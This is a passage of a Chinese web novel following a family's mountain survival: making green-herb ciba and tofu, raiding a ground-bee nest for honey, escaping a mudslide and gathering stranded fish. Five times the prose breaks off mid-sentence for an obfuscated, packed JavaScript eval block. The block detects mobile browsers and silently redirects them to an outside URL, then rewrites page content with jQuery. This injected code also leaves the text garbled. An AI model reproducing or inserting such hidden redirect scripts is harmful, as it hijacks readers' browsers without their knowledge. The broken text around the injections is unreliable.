石臼挖得太浅不好发力，也不好往里添东西。 “娘，你就放心吧！包在我身上！” 林禾没再管石臼的事情，而是和王三娘她们一起择清明菜。 虽然林禾在摘清明菜的时候有意挑着好的摘，但无可避免的还是会混着一些杂草和品相不好的清明菜。 清明菜洗净后放入锅中煮沸再捞出榨干水分，过一遍冷水去除苦味后再回锅煮烂，直至用筷子搅拌变成絮状物才放在一旁备用。 林禾打开锅盖见锅中的糯米已经完全透明，这就代表糯米已经完全蒸熟。 “三娘，你抽两根柴火出来，保温就行，不用再添火了。” 做糍粑的糯米熟了之后再焖一会儿会更软糯。 “诶！”王三娘闻言连忙将灶火里的柴火抽出来放在另外一个灶里。 林禾则带着大妞二妞去外面摘粽叶。 这个时候的粽叶才刚长出来，还透着嫩绿，叶片也只有巴掌宽，用来包粽子可能差强人意，但用来包田艾糍粑刚刚好。 三个人摘了厚厚一沓粽叶往回走，等到山洞时，沈大山已经把石臼凿好了，正在用清水冲洗。 石臼的石壁虽然不算平整，但胜在深度禾宽度都够。 在实用性面前，美观可以让步。 打糍粑要趁热，完全蒸熟的糯米从灶上被抬下来，一打开锅盖，热气裹着糯米的清香飘出。 “娘，清明菜还一直在灶上温着，要拿过来吗？” 王三娘回头看了一眼灶上的锅。 “拿过来。” 林禾捻了一撮分给大妞和二妞，将锅中的糯米混着清明菜一起倒进石臼中，透明的糯米被染成绿色。 “大山，把木槌拿过来。” 沈大山把手边的木槌递过去，林禾用力、快速地将大块的糯米团捣碎、压扁。 这时米粒还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287113|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较分明，但随着持续用力的捶打、碾压，分明的米粒开始变得粘稠抱团，颗粒感越来越少。 “三娘，帮我打一碗凉水过来。” 林禾捶打着糯米，已经能明显感觉到糯米开始粘石臼的石壁和木槌。 糯米变粘之后要花的力气更大，林禾有些力不从心，把木槌交给沈大山，她则在一旁帮忙给木槌蘸水。 沈大山捶打的力道和频率比林禾更重也更快，莫约一刻钟左右，糯米团就变得光滑细腻，看得人心生欢喜。 林禾揪出一小撮糯米往外拉，有弹性、能拉丝且看不到完整的米粒。 这就是一个合格的糍粑胚！ 双手沾水，一上一下揪糍粑胚，将糍粑从虎口处挤出一团，拽下来后放在清洗干净且交替叠好的粽叶上。 在等待冷却的时候，糍粑团会在重力的作用下慢慢塌陷成糍粑饼。 林禾的动作很快，石臼中的糍粑胚很快就被揪完，最后剩下的一点不够做成一个糍粑，林禾塞进嘴里解决了。 没有放其他调味品的田艾糍粑软糯Q弹，糯米和清明菜独特的清香混在一起，别有一番风味。 沈大山两口一个，连着吃了两个还意犹未尽。 大妞和二妞小口小口吃着，有些舍不得吃完。 王三娘咬了一口细细品味，显然很喜欢这样的口感和味道。 “放在上面的都还可以继续吃。” 林禾见沈大山几人都意犹未尽的样子，将放在草垫上的田艾糍粑推了过去。 这次的糯米一共做了六十多个田艾糍粑，林禾取出二十个糍粑，剩下的三十多个糍粑她全部包好放了起来。 糍粑凉了之后容易保存，不会轻易发霉变质，等过些日子要忙着插秧种地，每天不一定能腾出时间回来做饭。 热几个糍粑去地里，揣在怀里，又顶饿又好吃，还不耽误时间。 糍粑配上干笋和干蕨菜，几人吃得有滋有味。 吃完糍粑后，沈大山披上蓑衣，“娘，我去田里一趟。” 早上王三娘去田里放水了，沈大山得去堵上一点，免得明天田里没水。 第28章 豆腐脑 田里的水稻陆陆续续开始出苗，这个阶段稻苗已经稳定下来。 沈大山去田里的次数也开始变少，反而有了更多的时间去开荒。 山洞附近的杂草和灌木都被清理干净，整理出一大片平地，林禾打算用来种黄豆。 “娘，这黄豆已经晒了两天，今儿还要拿出去晒吗？” 王三娘又把黄豆拿了出来。 这两天难得开太阳，大人去山上开荒，大妞二妞就守着晾晒在洞口的黄豆。 一是怕下雨，二是怕有鸟来偷吃。 “两天就够了。” 黄豆种子晒两天是为了提高发芽率，两天足矣。 沈大山照例先去了梯田，回来后揣着两个糍粑、两个土豆和一大罐水去翻地。 林禾没让王三娘跟着，而是带着她往油茶树林走。 二人手上都拿着一把小锄头，这也是林禾用石头和木棍做出来的。 虽然瞧着简陋，但挖东西却很方便，拿在手上也比大锄头轻便许多，出门要用时只需要别在腰间或者拎在手上。 “娘，咱们是要来挖什么东西吗？”王三娘的语气中带着些兴奋和期待。 每次跟着娘出来，总会找到好吃的！ “嗯。”林禾应了一声，抬手把拦在面前的油茶树枝撇开。 前几日过来，这些折耳根都还只是冒了个芽，嫩到不能挖。 但今日林禾隔着油茶树的树枝都能看见随风摆动的折耳根叶子。 紫红色的嫰芽变成了正面是深绿色，背面是紫红色的叶子，这个时候的折耳根正是最佳食用期。 “这是折耳根，根和叶子都能吃，挖回去凉拌或者当调料都行。” 林禾蹲在旁边，扒开周围的杂草，揪住一簇折耳根叶子，用小石锄一点点挖开周围的土。 折耳根本就脆，很容易断，埋在土里的根又连在一起，稍微粗心些就容易折断。 王三娘蹲在另外一边，跟着林禾一起往下挖，二人不到一刻钟就挖出一大片。 折耳根有长有短，长的能有十厘米，绕成一团盘在地上，短的也有两三厘米的，还有没长出来，可以带回去种上。 林禾抖落最后一簇折耳根上带出来的泥巴，将挖出来的土都填埋回去。 王三娘看着还剩下一大半的折耳根，“娘，这边的我们不挖了吗？” “不挖了，总要留下一些，以后还能找过来挖。” 林禾把清理干净的折耳根放进一旁的竹篮里，率先往回走。 她一直记得前辈们的话，山里的食物你能碰上都是馈赠，再好的东西都要留一点。 既是给其他动植物活路，也是给未来的自己留活路。 折耳根几乎一年四季都在生长，发现一片折耳根之后能吃很久。 回去的路上，林禾绕路去上次发现野蒜的地方挖了几株野蒜。 之前没有全部挖完，这次挖的野蒜都是后来新长出来的。 山洞前林禾特意留了一小块地，就是为了种些野蒜和折耳根。 这样的调味品种在家门口再好不过，需要的时候一出门就能摘到，既方便又无需操心保鲜的问题。 折耳根适应力强，林禾移栽的时候没费太多功夫。 至于野蒜，林禾将其分株后晾了半个时辰才栽种好。 午膳沈大山为了省时没回来，林禾她们也就着干笋汤，吃了几个早上煮的土豆。 王三娘扛着锄头去找沈大山，林禾则留在家里做豆腐。 昨晚泡在陶盆里的黄豆，林禾端了出来，伸手去捏黄豆，吸饱水分的黄豆轻易就能捏碎豆皮。 这个程度就代表黄豆已经泡好了。 林禾把陶盆里的水都倒干净，将泡好的大豆分批放进石臼中，用清洗干净的木槌反复捶打。 “咚咚咚”的声音停下，林禾擦了把额头上的汗，“大妞、二妞你们俩帮我倒些水进来。” 大妞拿着陶碗站在蓄水池旁，“奶奶，要舀一碗水吗？” “不用，只要盖住碗底就行。” 林禾没让她打满一碗水，是怕她把握不好度，倒水的时候倒多，干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287114|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少舀一点，想多倒也没水。 水加入石臼中，林禾从捶打转变成研磨，尽量把黄豆豆皮碾碎，减少残渣。 莫约一刻钟后，石臼里的黄豆变成浆水状。 二妞见状忙递上昨晚编好的茅草袋子。 茅草袋子是林禾参考帆布袋的形状做出来的，就是为了方便用来过滤豆渣。 大妞和二妞帮着撑住茅草袋子，林禾把石臼抬起，用手将石臼里的豆渣也一并倒入茅草袋子中，下面还用陶盆接着。 林禾把茅草袋子系紧，用手反复挤压五六次，豆渣都被过滤出来，陶盆里剩下满满一大盆的豆浆。 林禾把盆里的豆浆转入陶锅中小火煮沸，期间不停地搅拌锅中的豆浆，避免糊底。 煮完浆之后，就进入到点卤的步骤，没有石膏，但盐卤的效果同样很好，甚至更方便。 上次带回来的盐还剩下小半罐，足够完成这次点卤。 倒出盐溶于水之后，林禾一手握着木棍，一手拿着陶碗，缓慢往陶锅中倒入盐水，边倒边搅拌，不一会儿锅中就出现了絮状沉淀。 莫约等了一刻钟左右，陶锅中的豆浆开始慢慢凝固，但表面还浮着一层豆腐脑。 林禾用陶碗将这些浮在表面的豆腐脑都舀了出来，连汤带水装了足足半盆。 剩下在锅中的“豆腐脑”状的絮状物都倒入铺了草席的竹筐里，表面再盖上一层草席，最后压上两块扁平的石头，放在一边等着沥干水分。 大妞二妞被放在一旁的豆腐脑吸引目光，林禾注意到，舀了两碗出来，还带着热气。 林禾转身又把中午剩下的半碗笋干切碎，倒了一些在豆腐脑上面，又加了些盐。 没有糖，只能吃咸豆腐脑。 林禾将黄豆捶打研磨的很细，做出来的豆腐脑自然也不差。 入口丝滑，带着黄豆的清香，再配上干笋丁有韧劲的口感，大妞二妞抱着碗吃得头都不愿意抬。 林禾偏爱甜豆腐脑，不怎么爱吃咸豆腐脑，但现在简单的咸豆腐脑也是一道难得的美味。 第29章 地下蜂巢 糖比油盐更加精贵，也更加得来不易。 林禾没盼着现在能吃上甜豆腐脑。 她将剩下的豆腐脑用草垫盖上放在石桌上，留给沈大山和王三娘回来之后吃。 林禾刚放下陶盆转身，就看见急匆匆从外面回来的沈大山，他一进来就去取蓑衣。 “外头下雨了？”林禾以为是外面下雨，他赶回来取蓑衣。 沈大山一边摇头，一边穿蓑衣，“娘，我和三娘挖地的时候碰上一窝地蜂，瞧着数量还不少。” 地蜂是小型独居蜜蜂，雌蜂常常会独自在地下挖掘单式巢穴，用花蜜和花粉喂养幼虫，一般大型的巢穴比较少，但并不代表没有。 地蜂的蜂蜜比寻常蜂蜜更加醇厚香甜，因为地蜂采集的蜜源比蜜蜂更多，所以地蜂的蜜中会带着花果植物草木的清香，口感层次更加丰富，营养价值也更丰富。 甚至因为地蜂的蜂蜜在地下，水分含量也要少一些，蜂蜜会更浓。 地蜂的蜂蜜好处多，也不怪沈大山这般着急。 林禾也心动，带上另外一件蓑衣和三个陶罐跟着沈大山离开。 走之前她还不忘嘱咐大妞二妞不要跟过去，待在家里。 地蜂虽然毒性小，被蛰后疼痛感也不会太明显，但小孩子的抵抗力和大人终究还是不一样。 等到了地方，林禾才看见王三娘站在斜坡上。 王三娘看见林禾过来，眼睛瞬间亮了，“娘！” 在王三娘眼中，林禾显然已经成了靠谱的代表，只要有林禾在，没什么是解决不了的。 林禾走过去，把陶罐放在一旁的草丛中，“蜂巢在什么地方？” 王三娘指着前面被清理了半边杂草的平地，“就在前面的平地上，洞口已经被挖出开了一点。” 本来二人在清理杂草，但沈大山挖杂草的时候力道用大了些，将蜂巢的入口挖开，里面飞出来几只地蜂，蛰了他一口。 沈大山认出蛰他的蜜蜂是地蜂，又尝试着轻轻挖开洞口，看见里面的蜜之后，舍不得放弃。 况且这地方本就是开辟出来种黄豆的，若是地底下有蜂巢，只能重新再开辟一片地出来，倒不如将这群地蜂处理掉。 而且地蜂蛰人后疼痛感远不如其他蜜蜂，处理起来的难度不大。 林禾把火折子取出来，将砍掉堆在一边的灌木扯过来，在蜂巢洞口处点燃才慢慢靠近洞口。 地蜂攻击性不强，通常不会主动攻击人，只有巢穴被破坏时才会触发“巢穴保卫战”。 “娘，我来弄吧。”沈大山披着蓑衣，扛着锄头靠近。 “你先挖。”林禾转身把带来的蓑衣穿在身上，“三娘，一会儿我们将巢穴挖开的时候你躲着点，等我们喊你你再过来。” “嗯！”王三娘重重点头，抱着陶罐蹲在灌木后面。 她没穿蓑衣，若是被蜜蜂蛰了，身上没有防护的，免不了要吃一番苦头。 “大山，你先把洞口挖开一些，注意力度，不要挖太大。” 林禾说完就蹲在一旁，捆了一把砍断的灌木树枝，在火堆上点燃。 “诶！”沈大山系紧了身上的蓑衣带子，收着力道挖开地蜂蜂穴。 洞口一被挖开，里面的地蜂就感受到了，有几只先飞出来，绕着沈大山转。 似乎是试探，又似乎是警告。 围在沈大山周围的地蜂飞回去一只，下一瞬，洞口涌出成群的地蜂。 “嗡嗡”的声音听得人心颤。 林禾抓起点燃的两个火把，朝着洞口塞了一个，又拿着火把对准沈大山身旁挥舞，替他驱赶飞扑过来的地蜂。 林禾用火把堵住了巢穴的洞口，里面的地蜂飞不出来，冲在前面的那一部分也被火把烧**。 绕在沈大山周围的地蜂也被火把烧死大半，剩下的也不敢再靠近。 林禾反复几次下来，地蜂被清理地差不多，身上虽然也被蛰了几口，但和清理地蜂比起来，这些都算不得什么。 剩下的一小群地蜂在周围盘旋飞舞，但是迫于点燃的火堆和挥舞的火把，一直不敢靠近。 王三娘见状抱着陶罐靠近，林禾正好将巢**挖开，里面的景象清楚呈现。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287115|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>巢穴内部并非想象中的单一空洞，更像一座精心构建的地下微缩迷宫。 主通道向下延伸，两侧分支出许多大小不一的椭圆形小室，紧密排列，如同无数微小的陶罐嵌在湿润的褐色泥土中。 大多数小室是空的，有些覆盖着薄薄一层干涸的泥膜。 但靠近中心区域的几个小室却截然不同。 它们被一种半透明的、琥珀色的物质充盈着，在昏暗的地穴里，借着洞口透入的光线和地上火堆的微光，这些蜜室如同沉睡的珍宝，折射出诱人温润的光泽。 那就是蜂蜜！ 质地浓稠得近乎胶状，表面光滑，能看到里面悬浮的细微花粉颗粒。 在蜜室边缘或空隙处，零星可见米粒大小、乳白色的蜂蛹蜷缩着，偶尔细微地动弹一下。 空气中弥漫开一股奇异的甜香，浓郁得化不开，带着泥土的微腥、野花的芬芳和阳光晒过青草的气息，复杂而醉人，直往人鼻子里钻。 “老天爷，真不少！” 沈大山的眼睛都直了，声音带着压抑不住的兴奋，喉结上下滚动。 王三娘也凑近了看，忍不住吸了吸鼻子，脸上全是惊奇和渴望。 林禾心口怦怦跳，这意外的收获远超预期。 她定了定神，动作变得异常小心。 “大山，拿竹片来。”林禾低声道，目光紧紧锁住那些饱满的蜜室，“三娘，捧好罐子，口对准了。” 沈大山立刻递上准备好的、削得光滑的竹片。 林禾深吸一口气，屏住呼吸，身体微微前倾，手臂稳稳地探入洞口。 她用竹片最薄的边缘，像最灵巧的匠人剥离易碎的珍宝，轻轻切入蜜室与泥土的连接处。 动作极缓，极轻。 琥珀色的蜜块被小心地撬起，缓慢脱离了泥壁。 “接住！” 林禾手腕一转，动作干脆利落，将那块足有拳头大小、沉甸甸的蜜块稳稳地送入王三娘早已捧到洞口的陶罐中。 噗嗒—— 蜜块落入陶罐，发出沉闷又悦耳的声响。 第30章 鸭蛋豆腐汤 王三娘的手微微抖了一下，这沉甸甸的手感，这浓得化不开的甜香，让她瞬间想起了无数个渴望甜味而不得的时刻。 她下意识地舔了舔有些发干的嘴唇。 沈大山也凑到罐口，贪婪地嗅着那无法抗拒的甜香。 这味道仿佛能驱散所有的疲惫和生活的苦涩，让他觉得刚刚被蛰的那几下简直微不足道。 “还有！” 林禾的声音拉回了他们的思绪。 她已再次探手，竹片精准地找到下一个目标。 她动作熟练起来，撬、起、转、送。 一块块凝结着地底精华的琥珀被剥离出来，落入陶罐。 动作快而不乱，每一个步骤都带着一种近乎虔诚的专注。 蜜块落入罐中，粘连着，层层叠起，陶罐内壁很快就被浓稠的蜜汁浸润，挂上金黄的蜜浆。 汗水顺着林禾的额角滑下，但她毫不在意。 洞口飞舞的零星地蜂似乎也放弃了徒劳的守卫，渐渐散去。 空气中，除了草木燃烧的余烬味，就只剩下那霸道而迷人的甜蜜气息，丝丝缕缕，缠绕在三人周围。 很快，三个最大的蜜室被清空，两个陶罐装满，剩下的陶罐也装了大半。 林禾看了看剩下的几个小蜜室和一些蜂蛹，停了手。 “行了，这些小的留着吧。” 林禾用竹片轻轻将洞口松动的泥土拨拢，稍稍掩埋了一下被破坏的蜂巢区域。 “给它们留条活路，也给我们留点念想，明年说不定还能再来。” 她直起身，捶了捶有些发酸的腰背。 沈大山和王三娘立刻将三个沉甸甸、粘乎乎的陶罐盖好。 罐子入手那份沉甸甸的满足感，是任何言语都无法形容的。 三人相视一笑，脸上都沾着泥灰，眼中却跳跃着同样纯粹的喜悦光芒。 “这块地就不要再往这边开荒了，之后围个篱笆挡住，开荒的地方换到上面去吧。” 林禾将挖开的洞口遮掩了一下，飞走的地蜂还会再回来。 洼地的油菜花开得正旺，地蜂也不缺蜜源，完全够养活剩下的幼虫。 “行！”沈大山抱着两罐蜂蜜，心里别提有多美了。 回去后，豆腐脑还是温热的，加些蜂蜜进去搅匀，蜂蜜的清香和豆腐脑的滑嫩，林禾又喝了一大碗。 王三娘比起甜豆腐脑，更爱吃咸豆腐脑，沈大山却不挑，甜咸豆腐脑他都爱喝。 双胞胎倒是跟着林禾又喝了一碗甜豆腐脑。 小孩子偏爱甜食，缠着王三娘又每人舀了一勺蜂蜜舔着吃，笑得见牙不见眼。 林禾也舀了一小勺，清甜润口，她甚至能尝出油菜花霸道的香味。 看来这段时间，地蜂没少去采油菜花里的花粉。 “娘，外头的笋干我去收进来吧，瞧着要下雨了。” 王三娘站在山洞前向外张望。 天边的乌云如同罩子一般，迅速朝着这边移动，树叶也被风刮得“哗哗”作响，山风携着雨往这边吹。 山雨欲来风满楼。 林禾快步走出去帮王三娘一起抢收笋干。 这些笋干都是之前的红壳笋切出来的，本来一直放在竹焙笼里烘，但这两日放晴，多余的笋干就被晾在外面。 这些可都是晒得差不多的，被淋湿之后很容易发霉，只能作废。 幸好二人手脚快，刚收完笋干，大雨就浇了过来。 接连三个时辰外面的雨都没有停歇，似乎还有越下越大的趋势。 这样的天气，山里的温度骤降，林禾往火堆里又添了几根柴火，让火生得更旺。 放在一旁沥水的豆腐早就好了，林禾揭开草席，成型的豆腐白嫩水灵。 一刀划下去，水嫩的豆腐轻轻晃动，林禾将划开的豆腐分成两块放在陶碗中，反手磕碎两个鸭蛋在陶锅中翻炒激发出香味后，再将白豆腐切成小块倒进去加水一起煮。 直到形成乳白色的汤底，林禾才加入盐、蒜和木姜子调味。 另一个灶上蒸的土豆也熟了，林禾干脆趁热将土豆切成小块，一起加入鸭蛋豆腐汤中，盖上锅盖小火焖煮一会儿，连锅带汤一起放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287116|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在石桌的草垫上。 王三娘摆上碗筷，招呼其他几人过来吃饭。 几大碗鸭蛋豆腐汤下肚，又搭着吃了一碗土豆，林禾只觉睡意涌现。 吃饱喝足就容易犯困，尤其还是在外面下雨，洞里安逸的情况下，这样的感觉更加明显。 睡到半夜，林禾梦见自己非要去动物园，刚走进去就碰见一头突破围栏跑出来的羊驼。 没等林禾反应过来，那羊驼就朝着她猛吐口水！ 一开始只有一只，后来所有的羊驼都跑了出来，对着她吐口水！ 脸上的口水都没来得及擦，就又被接二连三袭来的口水糊在脸上。 林禾卷起袖子准备和这些羊驼干一架时，耳边突然传来声音：“娘！娘你快醒醒！漏水了！” 林禾睁开眼睛，脸上还挂着水珠，回过神她才看见洞顶的那个洞口被雨水冲开了一条两指宽的缝。 上面的水往下流，一大半的水都流在自己的脸上和身上了。 林禾抹了一把脸，站起来披上蓑衣，“三娘，你把家里的东西都收拾一下，大山你跟着我上去把洞口堵上。” 林禾说完，戴上斗笠先出去了。 山里没灯，黑不隆咚，只能靠着一边摸索一边往上走。 顶着瓢泼大雨，身上的蓑衣也没有多大效果，幸好沈大山的力气大，二人合力将洞口堵住。 林禾不放心，还压了一块石头在上面。 等回到山洞，二人只有胸前的位置还算干爽，其他地方都湿透了，尤其是裤子。 山洞顶上的水和瀑布一样，顺着斜坡往下流。 等换完衣裳，外面的天差不多也亮了，但雨水却没有一点要停歇的趋势，依旧下着倾盆大雨。 洞顶上的那个洞口，又被冲开了一次，只能再上去堵。 不过值得庆幸的是，那个洞口正对着的地方是睡觉的地方，而不是放着笋干蕨菜干的地方，不然前些天辛苦烘干的东西全都白费了。 “这雨下这么大，田里的稻苗不知道怎么样了……” 沈大山忧心忡忡。 第31章 泥地摸鱼 “一会随我去田里一趟。” 林禾坐在石桌旁，把竹篮里收回来的笋干都捆成一团。 但凡没下这么大的雨，她都不会去田里放水。 若是寻常的暴雨，林禾丝毫不担心，因为梯田本身就具有抗涝的优势。 分层筑埂，逐阶蓄水的设计，天然具备一定的排水泄洪的能力。 但这次的暴雨太大，瞧着还要继续下，只能挖大口子，将更多的水流到山下，避免田里刚冒芽的稻种被淹没。 雨水不断从天空落下，在山洞口形成一道雨幕，幸好山洞口远高于洞口的地面，雨水只能往外流，不能往里流。 二人刚出门不久，冰冷的雨水便抽打着斗笠与蓑衣，发出密集的噼啪声。 山路湿滑，泥浆没过脚踝，每一步都需格外小心。 林禾走在前面，手中还握着一根青竹竿，青竹竿点戳着地面，既是探路，也是支撑。 林禾回头看着沈大山，“你走慢些，注意脚下的路。” “诶！”沈大山揪着一旁的灌木杂草，每一步都小心翼翼。 突然，一声沉闷的声音盖过了雨声。 那声音不似雷鸣，更似巨兽苏醒的呻吟。 林禾猛地站定，竹竿深深插入泥泞。 她用手抬高扣在头上的斗笠，并抬头看向周围。 跟在身后的沈大山，面露疑惑，“娘？怎么了？” 林禾没回答他，她的目光死死锁住上方山梁。 她看着陆续往下滑落的碎石和泥块，一股寒意，比雨水更刺骨，倏地窜上她的脊背。 就在念头闪过的瞬间，变故陡生！ 上方山体仿佛被无形巨手撕开了一道口子。 浑浊的泥浆裹挟着断裂的灌木、翻滚的巨石，如同一条挣脱锁链的狂暴黄龙，从林间咆哮着奔腾而下！ 那不是水流，是往下倾泻的泥土！ “跑！” 林禾扯着嗓子发出最大的声音，但声音瞬间被轰鸣吞没大半。 她回头本能地拽住沈大山的胳膊，用尽全身力气向侧面更高处的岩石扑去。 她的动作几乎和那泥石洪流同步。 轰隆—— 脚下的山路在震颤中瞬间消失。 泥浆、碎石、断木组成的洪水，裹挟着令人窒息的水汽和土腥味，以毁灭万物之势从二人刚刚站立的地方狂泻而过。 仅仅只是被泥点溅在脸上都觉得生疼，不敢想若是直接被洪水淹没…… 她紧紧扒住冰冷湿滑的岩石棱角，心脏在胸腔里疯狂跳动。 沈大山刚回过神，手上的力道并不敢放松，背后更是惊出一身冷汗。 莫约一刻钟，轰鸣声渐渐停歇。 林禾才终于敢卸力松开湿滑的岩石棱角，落地的瞬间，即便双脚已经陷入泥地里，但她还是觉得无比踏实。 “娘……”沈大山惊魂未定，瘫坐在岩石上，浑身泥水，剧烈喘息。 雨依旧在下，但似乎小了些，至少能叫人看清眼前的景象。 林禾在泥地里艰难挪动了几步，忽然余光瞥见下方那片被泥浆覆盖的山路上，竟有异样的银光在浑浊中跳跃、闪烁。 是鱼！ 不止一条！ 大大小小的鱼，有的银鳞闪亮，有的青背宽阔，竟在这泥泞狼藉的山路上奋力弹跳挣扎。 它们显然刚从灭顶之灾中逃出，被巨大的水流硬生生从山顶的深潭里抛掷出来，甩在了这不该属于它们的地方。 一条肥硕的青鱼尾巴拍打着泥浆，溅起浑浊的水花。 几条较小的鲫鱼徒劳地张合着嘴，在浅浅的泥水里扭动。 甚至还有一条宽嘴长须的大鲶鱼，正试图钻进一丛倒伏的草根下。 这荒诞又充满生机的景象，就好像做梦一般。 “娘，你看见了吗？我好像眼睛花了，看见山路上有鱼……” 沈大山愣愣地盯着那些活蹦乱跳的鱼，满脸不敢置信。 林禾捡起落在地上的斗笠，“你没看错，这些鱼都是从深潭里被冲出来的。” 沈大山舔了舔嘴唇，带着些兴奋，“娘，那……咱们捡吗？” “捡！”林禾撑着岩石，慢慢起身，腿还有发软，但还是继续往前。 “把斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287117|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笠捡起来用来装鱼，能捡多少捡多少，小心点，不要滑下去了。” 林禾说话时，已经弯腰捡起一条小板鲫扔进斗笠里。 沈大山也解下头上的斗笠，朝着另外一个方向往下走。 泥浆冰冷粘稠，没到小腿肚，每一步都拔得艰难，林禾只能先用手将脚边的泥巴挖松一些再往前走。 脚下的山路早已面目全非，被山洪犁出一道深深的沟壑。 两侧堆积着厚厚的淤泥、碎石和折断的草木。 浑浊的泥水在低洼处汇聚成浅滩，正是这些浅滩和水洼，成了那些被冲上岸的鱼儿们最后的挣扎之地。 林禾尽量朝着那边靠近，俯身的同时双手迅速探入一片浑浊的水洼，水花混着泥点溅起。 她感觉手碰到了一片滑腻冰凉、奋力扭动的东西，五指一拢，猛地抄起！ 是一条足有小臂长的草鱼！ 青灰的鳞片在泥水下闪着微光，强健的尾巴拼命甩动，泥浆甩了林禾一脸。 林禾毫不在意，抬起袖子抹了一把脸，顺势将其塞进斗笠中。 沈大山整上半身都趴在地上，奋力按住泥浆里的一只大草鱼，顾不得脸上的泥巴，沈大山的声音中满是兴奋。 “好家伙！够肥！” 一人一鱼缠斗半天，终于还是沈大山赢下了这场战斗。 草鱼被抱出来的时候，浑身裹着泥浆，但也丝毫不影响它半人高的长度。 林禾从半淹没在泥地里的棕树上揪下来几片棕树叶，撕成条搓成棕绳，扔给沈大山。 沈大山用棕绳穿过鱼嘴，将草鱼挂在一旁高大的树上，又继续在泥地里摸鱼。 林禾旁边，一条银白色的身影在浅浅的泥浆里疯狂弹跳，像一道小小的闪电。 那是条半斤多的鲫鱼，银亮的鳞片沾了泥点，嘴巴徒劳地一张一合。 林禾眼疾手快，双手一合便将它扣住，鱼在掌心剧烈挣扎，滑不留手，差点脱逃，但最终还是被准确地投入斗笠中。 更多的鱼在泥泞里显现，林禾弯腰的时间越来越长，但身体却丝毫不觉得疲惫，甚至还带着难言的兴奋！ 第32章 熬鱼油 几条细长灵巧的白鲦，身体近乎透明，此刻却沾满泥污，在积水里惊慌失措地乱窜，速度依然很快，需要耐心围堵。 一条背脊乌黑、两侧带暗色纵纹的麦穗鱼，个头不大，却异常活跃。 在林禾脚边的泥水里钻来钻去，被她一脚踩住旁边的淤泥才惊得跳起，正好落入斗笠中。 还有几条色彩相对鲜艳些的小鳑鲏，蓝绿色的脊背和橘红色的鳍边在泥水中若隐若现，它们体型娇小，在泥泞中扑腾显得格外无助。 “看那边！”林禾指向一块被冲歪的石头下方。 石头正好在沈大山脚边。 浑浊的水洼里，一条体色暗褐、布满不规则黑色斑块、头宽口阔的鱼正试图往石头缝里钻，两根短短的胡须在泥水里摆动。 是那条个头不小的鲶鱼！ 它力气颇大，沈大山双手并用才将它从石缝里拖拽出来，滑腻的身体扭动着，粘液沾满了手。 最惊人的发现还是在一处稍深的泥水坑里。 几条体型硕大的青鱼潜伏在浑浊的水底，青黑色的背脊如同沉没的岩石。 它们似乎比其他鱼更镇定，但缺氧和狭小的空间也让它们焦躁不安。 林禾和沈大山合力围堵，泥浆翻腾，费了九牛二虎之力才将其中一条最大的拖上岸，那沉甸甸的分量和有力的甩尾，几乎让林禾倾倒。 斗笠渐渐沉重起来，里面装着各类鱼。 草鱼沉闷的撞击，鲫鱼急促的甩尾，白鲦细碎的扑腾，麦穗鱼和鳑鲏的微弱弹跳，鲶鱼滑腻的扭动，还有那青鱼沉闷有力的搅动。 泥水顺着斗笠渗出，滴落在同样泥泞的地上。 林禾抹了把额头的汗水和雨水，混合着泥浆。 她直起身，看着地上仍有不少小板鲫，还是决定先回去。 二人满载而归。 回去的路上碰见来寻找他们的王三娘。 